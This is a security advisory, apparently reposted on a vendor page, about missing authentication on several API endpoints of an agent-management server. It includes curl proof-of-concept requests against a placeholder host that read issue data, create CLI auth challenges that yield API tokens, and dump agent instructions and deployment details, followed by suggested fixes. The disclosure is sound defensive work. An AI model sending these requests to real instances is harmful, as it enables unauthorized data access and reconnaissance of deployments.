Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-xfqj-r5qw-8g4j
No affected components available
Summary
Several API endpoints in authenticated mode have no authentication at all. They respond to completely unauthenticated requests with sensitive data or allow state-changing operations. No account, no session, no API key needed.
Verified against the latest version.
Discord: sagi03581
Steps to Reproduce
1. Unauthenticated issue data access
GET /api/heartbeat-runs/:runId/issues returns issue data for a heartbeat run with zero authentication. Every other endpoint in server/src/routes/activity.ts calls assertCompanyAccess, but this one was missed.
curl -s http://<target>:3100/api/heartbeat-runs/00000000-0000-0000-0000-000000000001/issues
# -> [] (HTTP 200, not 401 or 403)
If an attacker obtains a valid run UUID (from logs, error messages, shared URLs, or by probing), they can read issue data without any credentials.
2. Unauthenticated CLI auth challenge creation
POST /api/cli-auth/challenges creates a CLI authentication challenge with no actor check at all. The handler at server/src/routes/access.ts:1638-1659 skips any auth verification.
curl -s -X POST -H "Content-Type: application/json" \
-d '{"command":"test"}' \
http://<target>:3100/api/cli-auth/challenges
# returns challenge ID, token, and a pre-generated board API key
The response includes a boardApiToken that becomes active once the challenge is approved. Combined with open registration (separate report), this enables persistent API key generation.
3. Unauthenticated agent instruction / system prompt leakage
These endpoints in server/src/routes/access.ts require no authentication:
curl -s http://<target>:3100/api/skills/index
# returns all available skill endpoints
curl -s http://<target>:3100/api/skills/paperclip
# returns the FULL agent heartbeat procedure including:
# - every API endpoint and its parameters
# - authentication mechanism (env var names, header formats)
# - the complete agent coordination protocol
# - the agent creation/hiring workflow
curl -s http://<target>:3100/api/skills/paperclip-create-agent
# returns the full agent creation workflow with adapter configs
This hands an attacker a complete map of the internal API without authenticating. It also leaks how agents authenticate, how heartbeats work, and what adapter configurations are available.
4. Unauthenticated deployment configuration disclosure
GET /api/health returns deployment mode, exposure setting, auth status, bootstrap status, version, and feature flags.
curl -s http://<target>:3100/api/health
# {
# "deploymentMode": "authenticated",
# "deploymentExposure": "public",
# "authReady": true,
# "bootstrapStatus": "ready",
# "version": "2026.403.0",
# ...
# }
Tells an attacker exactly how the instance is configured, whether registration is available, and what version is running.
Impact
- Data exposure: heartbeat run issues accessible without credentials. Agent instructions and full API structure exposed to anyone.
- Reconnaissance: an attacker can fingerprint the deployment (mode, version, features) and map the entire internal API before attempting anything else.
- Auth bypass stepping stone: unauthenticated CLI challenge creation is a building block for the full RCE chain (reported separately).
Suggested Fixes
-
Add authentication to heartbeat run issues in
server/src/routes/activity.ts:GET /api/heartbeat-runs/:runId/issues-- addassertCompanyAccesslike every other endpoint in the same file
-
Add authentication to CLI challenge creation in
server/src/routes/access.ts:POST /api/cli-auth/challenges-- addassertBoardat minimum
-
Add authentication to skill endpoints in
server/src/routes/access.ts:GET /api/skills/availableGET /api/skills/indexGET /api/skills/:skillName
-
Reduce health endpoint information -- consider removing
deploymentMode,deploymentExposure, andversionfrom the unauthenticated response, or gating the full response behindassertBoard -
Consider a global auth rejection middleware for all
/api/*routes inauthenticatedmode. Currently unauthenticated requests getactor: { type: "none" }and pass through tonext(), relying on each route handler to check individually. A missing check means an open endpoint. Rejectingtype: "none"at the middleware level for all routes except an explicit public allowlist (health, sign-in, sign-up, webhooks) would prevent this class of bug entirely.
Contact
Discord: sagi03581
Happy to help verify fixes or provide additional details.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard